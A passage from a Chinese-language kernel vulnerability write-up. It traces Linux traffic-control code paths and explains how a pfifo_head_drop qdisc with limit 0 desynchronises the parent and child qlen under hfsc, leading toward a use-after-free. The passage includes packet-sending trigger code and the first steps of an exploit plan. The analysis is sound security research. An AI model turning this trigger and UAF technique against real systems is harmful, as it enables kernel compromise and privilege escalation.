  • SYSCALL_DEFINE4-sendto -> __sys_sendto() -> __sock_sendmsg() -> sock_sendmsg_nosec() -> sock->ops->sendmsg - netlink_sendmsg() -> netlink_unicast() -> netlink_unicast_kernel() -> nlk->netlink_rcv - rtnetlink_rcv() -> netlink_rcv_skb() -> rtnetlink_rcv_msg()
  • link->doit - tc_modify_qdisc()
    • tc_modify_qdisc() -> qdisc_create() -> qdisc_alloc() & **fifo_hd_init() **
    • tc_modify_qdisc() -> qdisc_graft() -> hfsc_search_class() & hfsc_graft_class() -> qdisc_replace()
c 复制代码
struct Qdisc_ops pfifo_head_drop_qdisc_ops __read_mostly = {
	.id		=	"pfifo_head_drop",
	.priv_size	=	0,
	.enqueue	=	pfifo_tail_enqueue,
	.dequeue	=	qdisc_dequeue_head,
	.peek		=	qdisc_peek_head,
	.init		=	fifo_hd_init,
	.reset		=	qdisc_reset_queue,
	.change		=	fifo_hd_init,
	.dump		=	fifo_hd_dump,
	.owner		=	THIS_MODULE,
};
// qdisc_create() -> fifo_hd_init()
static int fifo_hd_init(struct Qdisc *sch, struct nlattr *opt,
			struct netlink_ext_ack *extack)
{
	return __fifo_init(sch, opt, extack);
}
    
static int __fifo_init(struct Qdisc *sch, struct nlattr *opt,
		       struct netlink_ext_ack *extack)
{
	bool bypass;
	bool is_bfifo = sch->ops == &bfifo_qdisc_ops;
	...
		sch->limit = ctl->limit; 		// <--- 设置limit
	if (is_bfifo)
		bypass = sch->limit >= psched_mtu(qdisc_dev(sch));
	else
		bypass = sch->limit >= 1; 	// <---  若设置为0, bypass == false

	if (bypass)
		sch->flags |= TCQ_F_CAN_BYPASS;
	else
		sch->flags &= ~TCQ_F_CAN_BYPASS; 	// <---
	...
}
(4)删除Qdisc

调用链RTM_DELQDISC

  • SYSCALL_DEFINE4-sendto -> __sys_sendto() -> __sock_sendmsg() -> sock_sendmsg_nosec() -> sock->ops->sendmsg - netlink_sendmsg() -> netlink_unicast() -> netlink_unicast_kernel() -> nlk->netlink_rcv - rtnetlink_rcv() -> netlink_rcv_skb() -> rtnetlink_rcv_msg() ------ 前面和分配Qdisc调用链一样

  • link->doit - tc_get_qdisc() ------根据family和nlmsghdr->nlmsg_type找到对应的rtnl_link对象,并调用rtnl_link->doit函数。

  • -> qdisc_graft() -> hfsc_graft_class() -> qdisc_create_dflt() & qdisc_replace() -> qdisc_purge_queue() -> qdisc_tree_reduce_backlog()

代码 :删除传入handle对应的Qdisc,新建一个类型为 "pfifo" 的Qdisc (pfifo_qdisc_ops) 替换old,并将待删除的Qdisc->q.qlen清0,将parent Qdisc的 ->q.qlen 减去待删除的Qdisc->q.qlen

c 复制代码
static int tc_get_qdisc(struct sk_buff *skb, struct nlmsghdr *n,
			struct netlink_ext_ack *extack)
{
	struct net *net = sock_net(skb->sk);
	struct tcmsg *tcm = nlmsg_data(n);
	struct nlattr *tca[TCA_MAX + 1];
	struct net_device *dev;
	u32 clid;
	struct Qdisc *q = NULL;
	struct Qdisc *p = NULL;
	int err;

	err = nlmsg_parse_deprecated(n, sizeof(*tcm), tca, TCA_MAX,
				     rtm_tca_policy, extack);
	...
	dev = __dev_get_by_index(net, tcm->tcm_ifindex);
	...
	clid = tcm->tcm_parent;
	if (clid) { 	// 找到对应 `tcm->tcm_handle` 的 Qdisc
		if (clid != TC_H_ROOT) {
			if (TC_H_MAJ(clid) != TC_H_MAJ(TC_H_INGRESS)) {
				p = qdisc_lookup(dev, TC_H_MAJ(clid));
				...
				q = qdisc_leaf(p, clid); 	// 这里 p - Qdisc_A / q - Qdisc_C
			} else if (dev_ingress_queue(dev)) {
				q = rtnl_dereference(dev_ingress_queue(dev)->qdisc_sleeping);
			}
		} else { 	// 若parent为TC_H_ROOT,则直接取dev对应的首个Qdisc
			q = rtnl_dereference(dev->qdisc);
		}
		...
		if (tcm->tcm_handle && q->handle != tcm->tcm_handle) {
			NL_SET_ERR_MSG(extack, "Invalid handle");
			return -EINVAL;
		}
	} else {
		q = qdisc_lookup(dev, tcm->tcm_handle);
		...
	}

	if (tca[TCA_KIND] && nla_strcmp(tca[TCA_KIND], q->ops->id)) {
		NL_SET_ERR_MSG(extack, "Invalid qdisc name");
		return -EINVAL;
	}

	if (n->nlmsg_type == RTM_DELQDISC) {
		...
		err = qdisc_graft(dev, p, skb, n, clid, NULL, q, extack); 	// [1] <- qdisc_graft() 删除对应的 Qdisc - q
		if (err != 0)
			return err;
	} else {
		qdisc_notify(net, skb, n, clid, NULL, q, NULL);
	}
	return 0;
}
// [1]
static int qdisc_graft(struct net_device *dev, struct Qdisc *parent,
		       struct sk_buff *skb, struct nlmsghdr *n, u32 classid,
		       struct Qdisc *new, struct Qdisc *old,
		       struct netlink_ext_ack *extack)
{
	struct Qdisc *q = old;
	struct net *net = dev_net(dev);

	if (parent == NULL) {
		...
	} else {
		const struct Qdisc_class_ops *cops = parent->ops->cl_ops; 	// 对应 struct Qdisc_class_ops hfsc_class_ops
		unsigned long cl;
		int err;
		...
		cl = cops->find(parent, classid); 					// 返回parent对应的class, hfsc_class, class_A
		...
		err = cops->graft(parent, cl, new, &old, extack); 	// [2] <- hfsc_graft_class
		if (err)
			return err;
		notify_and_destroy(net, skb, n, classid, old, new, extack); 	// 释放old - Qdisc notify_and_destroy() -> qdisc_put() -> __qdisc_destroy() -> qdisc_free_cb() -> qdisc_free() -> kfree()
	}
	return 0;
}

static const struct Qdisc_class_ops hfsc_class_ops = {
	.change		= hfsc_change_class,
	.delete		= hfsc_delete_class,
	.graft		= hfsc_graft_class, 	// <---
	.leaf		= hfsc_class_leaf,
	.qlen_notify	= hfsc_qlen_notify,
	.find		= hfsc_search_class, 	// <---
	.bind_tcf	= hfsc_bind_tcf,
	.unbind_tcf	= hfsc_unbind_tcf,
	.tcf_block	= hfsc_tcf_block,
	.dump		= hfsc_dump_class,
	.dump_stats	= hfsc_dump_class_stats,
	.walk		= hfsc_walk
};
// [2] 删除 old 对应的Qdisc,新建一个类型为 "pfifo" 的Qdisc (pfifo_qdisc_ops) 替换old,并将待删除的Qdisc->q.qlen清0,将parent Qdisc的 `->q.qlen` 减去待删除的`Qdisc->q.qlen`
static int hfsc_graft_class(struct Qdisc *sch, unsigned long arg, struct Qdisc *new,
		 struct Qdisc **old, struct netlink_ext_ack *extack)
{
	struct hfsc_class *cl = (struct hfsc_class *)arg;

	if (cl->level > 0)
		return -EINVAL;
	if (new == NULL) {
		new = qdisc_create_dflt(sch->dev_queue, &pfifo_qdisc_ops, 	// [3-1] <- qdisc_create_dflt() 创建类型为 "pfifo_fast" 的 Qdisc
					cl->cl_common.classid, NULL);
		if (new == NULL)
			new = &noop_qdisc;
	}

	*old = qdisc_replace(sch, new, &cl->qdisc); 	// [3-2] 用 new 替换 cl->qdisc
	return 0;
}
// [3-1]
struct Qdisc *qdisc_create_dflt(struct netdev_queue *dev_queue,
				const struct Qdisc_ops *ops,
				unsigned int parentid,
				struct netlink_ext_ack *extack)
{
	struct Qdisc *sch;
	...
	sch = qdisc_alloc(dev_queue, ops, extack);
	...
	sch->parent = parentid;

	if (!ops->init || ops->init(sch, NULL, extack) == 0) {
		trace_qdisc_create(ops, dev_queue->dev, parentid);
		return sch;
	}

	qdisc_put(sch);
	return NULL;
}
EXPORT_SYMBOL(qdisc_create_dflt);
// [3-2]
static inline struct Qdisc *qdisc_replace(struct Qdisc *sch, struct Qdisc *new,
					  struct Qdisc **pold)
{
	struct Qdisc *old;

	sch_tree_lock(sch);
	old = *pold;
	*pold = new;
	if (old != NULL)
		qdisc_purge_queue(old); 	// [4]
	sch_tree_unlock(sch);

	return old;
}
// [4]
static inline void qdisc_purge_queue(struct Qdisc *sch)
{
	__u32 qlen, backlog;

	qdisc_qstats_qlen_backlog(sch, &qlen, &backlog);
	qdisc_reset(sch); 	// [4-1]
	qdisc_tree_reduce_backlog(sch, qlen, backlog); 	// [4-2] 向上遍历parent Qdisc,依次将 parent Qdisc 的 ->q.qlen 减去待删除Qdisc的 ->q.qlen
}
// [4-1] qdisc_reset() ------ 清空待删除的Qdisc的sk_buff队列,->q.qlen 清零
void qdisc_reset(struct Qdisc *qdisc)
{
	const struct Qdisc_ops *ops = qdisc->ops;

	trace_qdisc_reset(qdisc);

	if (ops->reset)
		ops->reset(qdisc); 	// qdisc_reset_queue() - 主要是清空 sch->q->head (指向 sk_buff) sch->q.qlen=0

	__skb_queue_purge(&qdisc->gso_skb);
	__skb_queue_purge(&qdisc->skb_bad_txq);

	qdisc->q.qlen = 0; 		// 重复操作?
	qdisc->qstats.backlog = 0;
}
EXPORT_SYMBOL(qdisc_reset);
// [4-2]
void qdisc_tree_reduce_backlog(struct Qdisc *sch, int n, int len)
{
	bool qdisc_is_offloaded = sch->flags & TCQ_F_OFFLOADED;
	const struct Qdisc_class_ops *cops;
	unsigned long cl;
	u32 parentid;
	bool notify;
	int drops;
    ...
    while ((parentid = sch->parent)) {
		if (parentid == TC_H_ROOT)
			break;
        ...
        sch = qdisc_lookup_rcu(qdisc_dev(sch), TC_H_MAJ(parentid));
        ...
        sch->q.qlen -= n; 			// <--- parent Qdisc 的 ->q.qlen 要减去待删除Qdisc的 ->q.qlen
		sch->qstats.backlog -= len;
		__qdisc_qstats_drop(sch, drops);
	}
	rcu_read_unlock();
}
EXPORT_SYMBOL(qdisc_tree_reduce_backlog);
(5)创建hfsc_class

调用链 :根据 nlmsg_type - RTM_NEWTCLASS 找到 tc_ctl_tclass()

  • SYSCALL_DEFINE4-sendto -> __sys_sendto() -> __sock_sendmsg() -> sock_sendmsg_nosec() -> sock->ops->sendmsg - netlink_sendmsg() -> netlink_unicast() -> netlink_unicast_kernel() -> nlk->netlink_rcv - rtnetlink_rcv() -> netlink_rcv_skb() -> rtnetlink_rcv_msg() ------ 前面和分配Qdisc调用链一样
  • link->doit - tc_ctl_tclass() -> hfsc_change_class() (根据q->ops->cl_ops所属的class类型来确定)创建hfsc_class对象。修改class也是通过本函数。

代码 :除了创建一个hfsc_class,还会创建一个默认的 "pfifo" 类型的 Qdisc,存入hfsc_class->qdisc

c 复制代码
static int tc_ctl_tclass(struct sk_buff *skb, struct nlmsghdr *n,
			 struct netlink_ext_ack *extack)
{
	struct net *net = sock_net(skb->sk);
	struct tcmsg *tcm = nlmsg_data(n);
	struct nlattr *tca[TCA_MAX + 1];
	struct net_device *dev;
	struct Qdisc *q = NULL;
	const struct Qdisc_class_ops *cops;
	unsigned long cl = 0;
	unsigned long new_cl;
	u32 portid;
	u32 clid;
	u32 qid;
	int err;

	err = nlmsg_parse_deprecated(n, sizeof(*tcm), tca, TCA_MAX,
				     rtm_tca_policy, extack);
	...
	dev = __dev_get_by_index(net, tcm->tcm_ifindex);
	...
	portid = tcm->tcm_parent; 			// portid = 0xaaaa0000  - parent
	clid = tcm->tcm_handle; 			// clid = 0xaaaaaaaa
	qid = TC_H_MAJ(clid); 				// qid = 0xaaaa0000

	if (portid != TC_H_ROOT) {
		u32 qid1 = TC_H_MAJ(portid);	// qid1 = 0xaaaa0000  - parent
		...
		if (portid)
			portid = TC_H_MAKE(qid, portid); 	// portid = (qid & 0xffff0000) | (portid & 0xffff) = 0xaaaa0000
	} else {
		if (qid == 0)
			qid = rtnl_dereference(dev->qdisc)->handle;
	}

	/* OK. Locate qdisc */
	q = qdisc_lookup(dev, qid); 				// q - Qdisc_A
	...
	/* An check that it supports classes */
	cops = q->ops->cl_ops; 						// cops - hfsc_class_ops
	...
	/* Now try to get class */
	if (clid == 0) {
		if (portid == TC_H_ROOT)
			clid = qid;
	} else
		clid = TC_H_MAKE(qid, clid); 			// clid = 0xaaaaaaaa

	if (clid)
		cl = cops->find(q, clid); 				// cl = NULL 当前不存在 class_A

	if (cl == 0) { 								
		err = -ENOENT;
		if (n->nlmsg_type != RTM_NEWTCLASS ||
		    !(n->nlmsg_flags & NLM_F_CREATE))
			goto out;
	} else {
		switch (n->nlmsg_type) {
		case RTM_NEWTCLASS:
			err = -EEXIST;
			if (n->nlmsg_flags & NLM_F_EXCL)
				goto out;
			break;
		case RTM_DELTCLASS:
			err = tclass_del_notify(net, cops, skb, n, q, cl, extack);
			/* Unbind the class with flilters with 0 */
			tc_bind_tclass(q, portid, clid, 0);
			goto out;
		case RTM_GETTCLASS:
			err = tclass_notify(net, skb, n, q, cl, RTM_NEWTCLASS, extack);
			goto out;
		default:
			err = -EINVAL;
			goto out;
		}
	}
	...
	new_cl = cl; 								// new_cl = cl = NULL
	err = -EOPNOTSUPP;
	if (cops->change)
		err = cops->change(q, clid, portid, tca, &new_cl, extack); 	// [1] <- hfsc_change_class()  q - Qdisc_A / clid - 0xaaaaaaaa / portid - 0xaaaa0000 / new_cl - 0
	if (err == 0) {
		tclass_notify(net, skb, n, q, new_cl, RTM_NEWTCLASS, extack);
		/* We just create a new class, need to do reverse binding. */
		if (cl != new_cl)
			tc_bind_tclass(q, portid, clid, new_cl); 	// [2] q - Qdisc_A / portid - 0xaaaa0000 / clid - 0xaaaaaaaa / new_cl - class_A
	}
out:
	return err;
}
// [1] hfsc_change_class() - 创建hfsc_class
static int hfsc_change_class(struct Qdisc *sch, u32 classid, u32 parentid,
		  struct nlattr **tca, unsigned long *arg,
		  struct netlink_ext_ack *extack)
{
	struct hfsc_sched *q = qdisc_priv(sch);
	struct hfsc_class *cl = (struct hfsc_class *)*arg;			// cl = 0
	struct hfsc_class *parent = NULL;
	struct nlattr *opt = tca[TCA_OPTIONS];
	struct nlattr *tb[TCA_HFSC_MAX + 1];
	struct tc_service_curve *rsc = NULL, *fsc = NULL, *usc = NULL;
	u64 cur_time;
	int err;
	...
	err = nla_parse_nested_deprecated(tb, TCA_HFSC_MAX, opt, hfsc_policy,
					  NULL);
	...
	if (tb[TCA_HFSC_RSC]) {
		rsc = nla_data(tb[TCA_HFSC_RSC]);
		if (rsc->m1 == 0 && rsc->m2 == 0)
			rsc = NULL;
	}

	if (tb[TCA_HFSC_FSC]) {
		fsc = nla_data(tb[TCA_HFSC_FSC]);
		if (fsc->m1 == 0 && fsc->m2 == 0)
			fsc = NULL;
	}

	if (tb[TCA_HFSC_USC]) {
		usc = nla_data(tb[TCA_HFSC_USC]);
		if (usc->m1 == 0 && usc->m2 == 0)
			usc = NULL;
	}

	if (cl != NULL) { 				// cl为NULL则创建class,cl不为NULL则修改现有class !!!!!
        ...
	}

	if (parentid == TC_H_ROOT) 		// parentid = 0xaaaa0000
		return -EEXIST;

	parent = &q->root; 				// parent - hfsc_class - 0xaaaa0000
	if (parentid) {
		parent = hfsc_find_class(parentid, sch); 	// 本exp中找到的还是同一个 hfsc_class
		if (parent == NULL)
			return -ENOENT;
	}

	if (classid == 0 || TC_H_MAJ(classid ^ sch->handle) != 0) 	// classid = 0xaaaaaaaa
		return -EINVAL;
	if (hfsc_find_class(classid, sch))	// 判断是否已存在
		return -EEXIST;

	if (rsc == NULL && fsc == NULL) 	// rsc 必须传入值 tc_service_curve
		return -EINVAL;

	cl = kzalloc(sizeof(struct hfsc_class), GFP_KERNEL); 	// 分配 hfsc_class
	...
	if (rsc != NULL)
		hfsc_change_rsc(cl, rsc, 0);
	if (fsc != NULL)
		hfsc_change_fsc(cl, fsc);
	if (usc != NULL)
		hfsc_change_usc(cl, usc, 0);

	cl->cl_common.classid = classid; 	// 初始化 hfsc_class
	cl->sched     = q;
	cl->cl_parent = parent;
	cl->qdisc = qdisc_create_dflt(sch->dev_queue, &pfifo_qdisc_ops, 	// classid = 0xaaaaaaaa
				      classid, NULL); 	// !!! 创建一个默认的 "pfifo" 类型的 Qdisc
	if (cl->qdisc == NULL)
		cl->qdisc = &noop_qdisc;
	else
		qdisc_hash_add(cl->qdisc, true);
	...
	if (parent->level == 0)
		qdisc_purge_queue(parent->qdisc);
	...

	*arg = (unsigned long)cl; 	// 存放到 *arg,便于caller继续处理
	return 0;
}

1-4. 结构关系

(1)网络接口到Qdisc

说明:qdisc需要attach到网络接口上,一个网络接口可以有多个qdisc。

关键函数: __dev_queue_xmit() -> netdev_core_pick_tx() -> netdev_get_tx_queue()

结构关系:

c 复制代码
struct sk_buff *skb
struct net_device *dev = skb->dev;
struct netdev_queue *txq = dev->_tx[index];
struct Qdisc *q = txq->qdisc

(2)Qdisc

c 复制代码
struct Qdisc {
	int 			(*enqueue)(struct sk_buff *skb, 	// packet入队函数
					   struct Qdisc *sch,
					   struct sk_buff **to_free);
	struct sk_buff *	(*dequeue)(struct Qdisc *sch); 	// packet出队函数
	unsigned int		flags;
	u32			limit;
	const struct Qdisc_ops	*ops; 			// 操作函数表
	struct qdisc_size_table	__rcu *stab;
	struct hlist_node       hash;
	u32			handle; 					// 标识
	u32			parent; 					// 父Qdisc
    ...
    /* private data */
	long privdata[] ____cacheline_aligned; 		// 指向 hfsc_sched 结构 (hfsc 类型)
};

(3)Qdisc到class

说明:class和filter都需要attach到qdisc上。

关键函数:hfsc_enqueue() -> hfsc_classify() -> hfsc_find_class() -> qdisc_class_find()

结构关系:

  • 从Qdisc找到hfsc_classQdisc->privdata->clhash->hash == hfsc_class->cl_common->hnode

(4)class

hfsc_sched

  • Qdisc->privdata 指向 hfsc_sched
  • Qdisc->privdata->eligible.rb_node 指向红黑树 rb_tree 的根节点,以此根节点能够检索到每一个class。
c 复制代码
struct hfsc_sched {
	u16	defcls;				/* default class id */
	struct hfsc_class root;			/* root class */ 		// root Qdisc 对应的 class
	struct Qdisc_class_hash clhash;		/* class hash */ 	// 可从Qdisc索引到class
	struct rb_root eligible;		/* eligible tree */ 	// 指向 rb_tree 中的根节点
	struct qdisc_watchdog watchdog;		/* watchdog timer */
};
struct rb_root {
	struct rb_node *rb_node;
};

hfsc_class

  • hfsc_class->el_node - class中的当前节点,可以插入到rb_tree中,通常在packet入队(hfsc_enqueue() -> update_ed())或者修改class属性(hfsc_change_class() -> update_ed())时触发节点插入操作。
c 复制代码
struct Qdisc_class_common {
	u32			classid;
	unsigned int		filter_cnt;
	struct hlist_node	hnode;
};

struct hfsc_class {
	struct Qdisc_class_common cl_common;
	...
	unsigned int	level;		/* class level in hierarchy */

	struct hfsc_sched *sched;	/* scheduler data */ 				// 和 Qdisc->privdata 相同
	struct hfsc_class *cl_parent;	/* parent class */ 				// 父 hfsc_class
	struct list_head siblings;	/* sibling classes */
	struct list_head children;	/* child classes */
	struct Qdisc	*qdisc;		/* leaf qdisc */ 					// 下一个Qdisc

	struct rb_node el_node;		/* qdisc's eligible tree member */ 	// rb_tree中的当前节点,可以插入到rb_tree中
	struct rb_root vt_tree;		/* active children sorted by cl_vt */
	...
	u64	cl_d;			/* deadline*/
	u64	cl_e;			/* eligible time */
	u64	cl_vt;			/* virtual time */
	u64	cl_f;			/* time when this class will fit for
					   link-sharing, max(myf, cfmin) */
	...

	struct internal_sc cl_rsc;	/* internal real-time service curve */
	struct internal_sc cl_fsc;	/* internal fair service curve */
	struct internal_sc cl_usc;	/* internal upperlimit service curve */
	...
};

2. 漏洞分析

2-1. 漏洞点

预期正常行为 :当我们达到调度器的packet个数限制时,pfifo_tail_enqueue()会丢弃调度器队列中的packet,并将调度器的qlen减1。然后,pfifo_tail_enqueue()会入队一个新的packet,并将调度器的qlen加1;最后,pfifo_tail_enqueue()会返回NET_XMIT_CN状态码,父Qdisc就不会增加qlen。

异常行为 :如果我们设置sch->limit == 0,并对一个没有packet的scheduler触发pfifo_tail_enqueue(),则不会执行丢包步骤,也即scheduler的qlen还是为0。接着,我们继续入队新的packet并将调度器的qlen加1。总的来说,我们可以利用pfifo_tail_enqueue()递增qlen并返回NET_XMIT_CN状态码,导致父Qdisc和子Qdisc的qlen个数不一致。

问题 :假设我们有两个qdiscs,Qdisc_AQdisc_B

  • Qdisc_A的type必须有->graft()函数来创建父/子关系。假设Qdisc_A的type为hfsc,向该qdisc入队packet会触发hfsc_enqueue()
  • Qdisc_B的type是pfifo_head_drop,向该qdisc入队会触发pfifo_tail_enqueue()
  • Qdisc_B设置为sch->limit == 0
  • Qdisc_A设置为,将入队的packet路由到Qdisc_BQdisc_A -> Qdisc_B

通过Qdisc_A入队packet会导致

  • hfsc_enqueue(Qdisc_A) -> pfifo_tail_enqueue(Qdisc_B)
  • Qdisc_B->q.qlen += 1
  • pfifo_tail_enqueue() 返回 NET_XMIT_CN
  • hfsc_enqueue() 检查返回值是否为NET_XMIT_SUCCESS,但返回值为 NET_XMIT_CN,因而hfsc_enqueue()不会增加 Qdisc_A 的qlen。

以上过程会导致**Qdisc_A->q.qlen == 0Qdisc_B->q.qlen == 1 父子Qdisc的qlen值不同**。不用hfsc type,用其他type(例如drr)也会导致相同问题。原本预期应该是父亲的qlen等于儿子的qlen之和。

漏洞函数 pfifo_tail_enqueue()

c 复制代码
// pfifo_tail_enqueue() -> __qdisc_queue_drop_head() -> __qdisc_dequeue_head()
static int pfifo_tail_enqueue(struct sk_buff *skb, struct Qdisc *sch,
			      struct sk_buff **to_free)
{
	unsigned int prev_backlog;

	if (likely(sch->q.qlen < sch->limit)) 				// [1] 小于qdisc长度限制,则直接加入到队尾。
		return qdisc_enqueue_tail(skb, sch); 				// 将skb加入到 sch->q->tail 后面,sch->q->qlen 加1,sch->q结构是 qdisc_skb_head 			返回 NET_XMIT_SUCCESS

	prev_backlog = sch->qstats.backlog;
	/* queue full, remove one skb to fulfill the limit */
	__qdisc_queue_drop_head(sch, &sch->q, to_free);		// [2] 队列满了,则丢弃头部的packet (sch->q->head), sch->q->qlen--
	qdisc_qstats_drop(sch); 								//  sch->qstats->drops++
	qdisc_enqueue_tail(skb, sch);						// [3] 入队新的packet。加到 sch->q->tail 后面,sch->q->qlen 加1

	qdisc_tree_reduce_backlog(sch, 0, prev_backlog - sch->qstats.backlog);
	return NET_XMIT_CN; 	// 返回 NET_XMIT_CN
}
// [2] __qdisc_queue_drop_head()
static inline unsigned int __qdisc_queue_drop_head(struct Qdisc *sch,
						   struct qdisc_skb_head *qh,
						   struct sk_buff **to_free)
{
	struct sk_buff *skb = __qdisc_dequeue_head(qh);		// [2-1] <---

	if (likely(skb != NULL)) { 							
		unsigned int len = qdisc_pkt_len(skb);

		qdisc_qstats_backlog_dec(sch, skb);
		__qdisc_drop(skb, to_free);
		return len;
	}

	return 0;
}
// [2-1] __qdisc_dequeue_head()
static inline struct sk_buff *__qdisc_dequeue_head(struct qdisc_skb_head *qh)
{
	struct sk_buff *skb = qh->head;

	if (likely(skb != NULL)) { 							// 若 `sch->q.qlen == 0`, skb == NULL, 则不会进行 sch->q->qlen--, 提前返回
		qh->head = skb->next;
		qh->qlen--; 									// <- qlen--
		if (qh->head == NULL)
			qh->tail = NULL;
		skb->next = NULL;
	}

	return skb;
}

重点注意

  • 每当->enqueue()返回NET_XMIT_SUCCESS,都会调用 ->dequeue()
  • ->dequeue()会打破调度器操作步骤;
  • 如果sch->q.qlen == 0->dequeue()会提前返回;
  • 考虑以下出队流:->dequeue(Qdisc_A) -> ->dequeue(Qdisc_B) -> ->dequeue(Qdisc_C)。只要某个Qdisc满足qlen == 0,就会导致返回NULL skb并提前返回,偏离出队过程。

2-2. 漏洞触发-enqueue

用户调用:用户通过绑定Qdisc的网卡向外发包来触发。

c 复制代码
void trigger_qdisc_enqueue(int packet_socket, int ifindex)
{
	u8 packet_data[128] = {};
	send_packet_to_network_interface(packet_socket, ifindex, packet_data, sizeof(packet_data));
}
void send_packet_to_network_interface(int raw_packet_socket, int ifidx, void *data, size_t len)
{
	struct msghdr msg = {};
	struct sockaddr_ll saddr = { .sll_ifindex = ifidx };
	msg.msg_name = &saddr;
	msg.msg_namelen = sizeof(struct sockaddr_ll);
	struct iovec iov = { .iov_base = data, .iov_len = len };
	msg.msg_iov = &iov;
	msg.msg_iovlen = 1;
	Sendmsg(raw_packet_socket, &msg, 0); 		// sendmsg(socket, message, flags)
}

内核trace :第1个Qdisc类型为hfsc,所以enqueue入队处理函数是 hfsc_enqueue()(参见static struct Qdisc_ops hfsc_qdisc_ops对象定义),传给第2个Qdisc类型为pfifo_head_drop(漏洞Qdisc对象),对应enqueue入队函数是pfifo_tail_enqueue()(参见static struct pfifo_head_drop_qdisc_ops对象定义)

  • __sock_sendmsg() -> sock_sendmsg_nosec() -> sock->ops->sendmsg - packet_sendmsg() -> packet_snd() -> packet_xmit() -> dev_queue_xmit() -> __dev_queue_xmit() -> __dev_xmit_skb() -> dev_qdisc_enqueue()

  • hfsc_enqueue() (第1个Qdisc - hfsc) -> pfifo_tail_enqueue()(第2个Qdisc - pfifo_head_drop

c 复制代码
static int
hfsc_enqueue(struct sk_buff *skb, struct Qdisc *sch, struct sk_buff **to_free)
{
	unsigned int len = qdisc_pkt_len(skb);
	struct hfsc_class *cl;
	int err;
	bool first;

	cl = hfsc_classify(skb, sch, &err); 	// 找到对应的 hfsc_class
	...
	first = !cl->qdisc->q.qlen; 			
	err = qdisc_enqueue(skb, cl->qdisc, to_free);	// <--- sch->enqueue(skb, sch, to_free) 调用子 Qdisc 的 enqueue()
	if (unlikely(err != NET_XMIT_SUCCESS)) {
		if (net_xmit_drop_count(err)) { 	// !!! 漏洞点:若子 Qdisc 返回 NET_XMIT_CN, 则提前返回。qlen不会加1(默认子Qdisc丢了head包,加了尾部包,qlen不变,实际上子Qdisc的qlen进行了加1)
			cl->qstats.drops++;
			qdisc_qstats_drop(sch);
		}
		return err;
	}

	if (first) { 							// 若 Qdisc->q.qlen 为0则需初始化
		if (cl->cl_flags & HFSC_RSC)
			init_ed(cl, len);
		if (cl->cl_flags & HFSC_FSC)
			init_vf(cl, len);
		/*
		 * If this is the first packet, isolate the head so an eventual
		 * head drop before the first dequeue operation has no chance
		 * to invalidate the deadline.
		 */
		if (cl->cl_flags & HFSC_RSC)
			cl->qdisc->ops->peek(cl->qdisc);

	}

	sch->qstats.backlog += len;
	sch->q.qlen++; 							// 正常处理1个packet, 则增加 sch->q.qlen

	return NET_XMIT_SUCCESS;
}
// pfifo_tail_enqueue() -> __qdisc_queue_drop_head() -> __qdisc_dequeue_head()
// 1.若满足长度限制,则正常加入到 Qdisc->q->tail 后面, Qdisc->q->qlen 加1, 返回 NET_XMIT_SUCCESS
// 2.若超出长度限制,则先丢弃头部packet (Qdisc->q->head), Qdisc->q->qlen 减1;再加入到 Qdisc->q->tail 后面, Qdisc->q->qlen 加1, 返回 NET_XMIT_CN。 
// 问题:若 Qdisc->limit == 0,则 Qdisc->q->qlen == 0, 则不会丢弃头部packet,也不会 Qdisc->q->qlen 减1;再加入到 Qdisc->q->tail 后面, Qdisc->q->qlen 加1, 返回 NET_XMIT_CN。  只有 Qdisc->q->qlen 加1, 并返回 NET_XMIT_CN
static int pfifo_tail_enqueue(struct sk_buff *skb, struct Qdisc *sch,
			      struct sk_buff **to_free)
{
	unsigned int prev_backlog;

	if (likely(sch->q.qlen < sch->limit)) 				// [1] 小于qdisc长度限制,则直接加入到队尾。
		return qdisc_enqueue_tail(skb, sch); 				// 将skb加入到 sch->q->tail 后面,sch->q->qlen 加1,sch->q结构是 qdisc_skb_head 			返回 NET_XMIT_SUCCESS

	prev_backlog = sch->qstats.backlog;
	/* queue full, remove one skb to fulfill the limit */
	__qdisc_queue_drop_head(sch, &sch->q, to_free);		// [2] 队列满了,则丢弃头部的packet (sch->q->head), sch->q->qlen--
	qdisc_qstats_drop(sch); 								//  sch->qstats->drops++
	qdisc_enqueue_tail(skb, sch);						// [3] 将skb加入到 sch->q->tail 后面,sch->q->qlen 加1

	qdisc_tree_reduce_backlog(sch, 0, prev_backlog - sch->qstats.backlog);
	return NET_XMIT_CN; 	// 返回 NET_XMIT_CN
}
// [2] __qdisc_queue_drop_head()
static inline unsigned int __qdisc_queue_drop_head(struct Qdisc *sch,
						   struct qdisc_skb_head *qh,
						   struct sk_buff **to_free)
{
	struct sk_buff *skb = __qdisc_dequeue_head(qh);		// [2-1] <--- __qdisc_dequeue_head()

	if (likely(skb != NULL)) { 							
		unsigned int len = qdisc_pkt_len(skb);

		qdisc_qstats_backlog_dec(sch, skb);
		__qdisc_drop(skb, to_free);
		return len;
	}

	return 0;
}
// [2-1] __qdisc_dequeue_head()
static inline struct sk_buff *__qdisc_dequeue_head(struct qdisc_skb_head *qh)
{
	struct sk_buff *skb = qh->head;

	if (likely(skb != NULL)) { 							// 若 `sch->q.qlen == 0`, skb == NULL, 则不会进行 sch->q->qlen--, 提前返回
		qh->head = skb->next;
		qh->qlen--; 									// <--- sch->q->qlen--
		if (qh->head == NULL)
			qh->tail = NULL;
		skb->next = NULL;
	}

	return skb;
}

3. 构造UAF

构造UAF的两个关键函数:

先看看内核代码流:

  • Flow1: hfsc_enqueue() -> init_ed() -> eltree_insert()
  • Flow2: hfsc_change_class() -> update_ed() -> eltree_update() -> eltree_remove() & eltree_insert()
c 复制代码
// Flow1
static void init_ed(struct hfsc_class *cl, unsigned int next_len)
{
        /* Writeup note: Deleted code for clarity */
	eltree_insert(cl); 	// <---
}

// eltree_insert() ------ 将`hfsc_class`对象插入到树中
static void eltree_insert(struct hfsc_class *cl)
{
	struct rb_node **p = &cl->sched->eligible.rb_node;
	struct rb_node *parent = NULL;
	struct hfsc_class *cl1;

	while (*p != NULL) {
		parent = *p;
		cl1 = rb_entry(parent, struct hfsc_class, el_node);
		if (cl->cl_e >= cl1->cl_e)
			p = &parent->rb_right;
		else
			p = &parent->rb_left;
	}
	rb_link_node(&cl->el_node, parent, p);
	rb_insert_color(&cl->el_node, &cl->sched->eligible);
}

// Flow2
static inline void eltree_update(struct hfsc_class *cl)
{
	eltree_remove(cl); 	// <---
	eltree_insert(cl);
}

// eltree_remove() ------ 从树中移除`hfsc_class`对象
static inline void eltree_remove(struct hfsc_class *cl)
{
	rb_erase(&cl->el_node, &cl->sched->eligible);
}

3-1. 总体思路

  • (1)假设我们有一个hfsc_class对象,称为A;

